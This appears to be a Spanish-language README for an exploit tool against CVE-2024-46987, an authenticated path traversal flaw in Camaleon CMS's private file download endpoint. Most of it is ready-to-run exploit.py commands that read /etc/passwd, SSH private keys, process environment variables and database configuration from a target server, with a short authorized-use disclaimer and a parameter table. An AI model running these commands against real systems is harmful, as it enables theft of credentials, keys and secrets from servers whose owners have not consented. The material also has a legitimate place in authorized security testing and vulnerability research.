
CVE-2024-46987 - Camaleon CMS LFI Exploit
Exploit de Inclusión Local de Archivos (LFI) autenticado para Camaleon CMS.
Camaleon CMS es vulnerable a un ataque LFI autenticado a través del endpoint /admin/media/download_private_file. El parámetro file no se sanitiza adecuadamente, lo que permite path traversal para leer archivos arbitrarios del servidor.
pip install requests
# Print file to terminal (default)
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token"
# Save to file
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token" -o passwd.txt
# Read passwd file
python3 exploit.py -u https://example.com -f /etc/passwd -t "auth_token"
# Read SSH keys
python3 exploit.py -u https://example.com -f /home/user/.ssh/id_rsa -t "auth_token" -o id_rsa
# Read environment variables
python3 exploit.py -u https://example.com -f /proc/self/environ -t "auth_token"
# Read application config
python3 exploit.py -u https://example.com -f /var/www/html/config/database.yml -t "auth_token"
Esta herramienta está destinada exclusivamente a pruebas de seguridad autorizadas y fines educativos. Úsela solo en sistemas para los que tenga permiso explícito para realizar pruebas.
| Parámetro | Descripción |
|---|
-u, --url | URL objetivo |
-f, --file | Archivo a leer (ej., /etc/passwd) |
-t, --token | Valor de la cookie auth_token |
-o, --output | Nombre del archivo de salida (opcional, imprime en terminal si no se establece) |